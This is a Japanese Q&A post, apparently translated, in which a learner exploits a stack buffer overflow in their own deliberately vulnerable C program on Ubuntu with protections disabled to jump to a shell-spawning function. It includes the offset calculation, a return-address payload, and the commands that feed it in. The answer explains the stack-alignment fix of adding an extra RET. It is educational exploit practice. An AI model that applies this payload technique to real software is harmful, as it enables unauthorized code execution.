/bin/sh はユーザー入力を待たずにすぐに閉じます。

/bin/sh はユーザー入力を待たずにすぐに閉じます。

私は教育目的でバッファオーバーフローの脆弱性を悪用しています。私の目標は、RIPを変更し、邪悪な機能をターゲットにシェルを実行することです。私はUbuntu 18.04 64ビットを使用しています。 code.cは次のようになります。

#include <stdio.h>
#include <stdlib.h>

void main(void)

{
  char buf[20];
  printf("Give me your name: ");
  gets(buf);
  printf("\nYour name is %s\n", buf);
  return;
}

void evil(){
    printf("Evil function entered\n");
    system("/bin/sh");
    printf("Evil function exited\n");
    return;
}

作業を容易にするために、カナリアを無効にするGCCオプションを使用してこのコードをコンパイルしました-fno-stack-protector。また、次のコマンドを使用してASLRを無効にしましたsudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'。したがって、プログラムのメモリアドレスは絶対に変更されず、操作がはるかに簡単になります。

code.cのコンパイル済みバージョンでは、GDBを介して次の情報を取得しました。

バッファは次から始まります。0x7fffffffde80

RIP は次の場所に保存されます。0x7fffffffdea8

0x7fffffffdea8 - 0x7fffffffde80 = 40。したがって、40バイトのパディングを挿入する必要があります。

邪悪な関数の入り口は にあり、0x55555555475fリトルエンディアンでは次のようになります。

\x5f\x47\x55\x55\x55\x55\x00\x00 (2 つの \x00 を追加して 8 バイトのアドレス全体を構成します。)

最終的なペイロードは次のとおりです。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00

これでファイルに保存します。

echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt

最後に、プログラムを実行し、input.txtコンテンツを入力として渡します。

cat input.txt - | ./code

-気づく猫が出ることを防ぐ

私の端末には次のものが表示されます。

Give me your name: 
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU
Evil function entered
Evil function exited
Program received signal SIGSEGV. Segmentation fault. Core dumped.

驚くべきことに、邪悪な機能は実行されますが、/bin/shポップアップにはなりません。ユーザーにコマンドを要求せずにすぐに終了します。ある時点で、標準入力が端末から切り離されているようです。

問題は、コマンドを実行するためにシェルをポップアップする方法です。これは一種のセキュリティ保護ですか?

ありがとうございます。

ベストアンサー1

ついにこの問題を解決しました。

スタックが16バイトにソートされていない場合、Cライブラリのsystem()関数は実行されません。

私の場合、スタックを16バイトの境界に揃えるのを忘れてしまったため、system("/bin/sh");正しく実行されず、シェルがトリガーできません。

実際、x86-64ではSystem V ABIでは、スタックは16バイトにソートする必要があります。CALLアセンブリコマンドを実行する前。それ以外の場合、結果は予測できません。したがって、これはsystem()関数にのみ適用されるのではなく、すべての関数に適用されます。

私のスタックは8バイトにソートされていないため、ROPチェーンに追加のRETを追加するとスタックが正しくソートされます。

今私は成功しました。

おすすめ記事